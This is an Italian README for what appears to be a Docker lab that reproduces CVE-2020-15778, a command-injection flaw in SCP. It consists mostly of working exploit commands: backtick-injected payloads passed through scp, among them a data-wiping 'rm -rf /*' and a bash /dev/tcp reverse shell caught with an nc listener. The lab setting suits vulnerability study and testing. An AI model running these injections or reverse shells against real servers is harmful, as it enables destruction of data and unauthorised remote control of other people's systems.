
Riproduce l'exploit di injection di comandi SCP CVE-2020-15778 con un setup client-server basato su Docker per testare l'esecuzione remota di codice e i payload di reverse shell.
Questa repo riproduce CVE-2020-15778.
cd client
docker build -t client-cve .
cd server
docker build -t server-cve .
docker run -d -P --name scp-server server-cve
Recupera l'indirizzo IP interno del server scp tramite
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server
docker run --name scp-client -i -t client-cve
Nel terminale del client, esegui
scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'
La password è "PASSWORD".
Ecco alcuni esempi per questo exploit.
scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'
Mettiti in ascolto su una porta della macchina client.
nc -lvvp 8080
Usa scp per forzare il server a rimandare la bash interattiva nella macchina client.
scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'
L'indirizzo IP del client può essere recuperato tramite
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client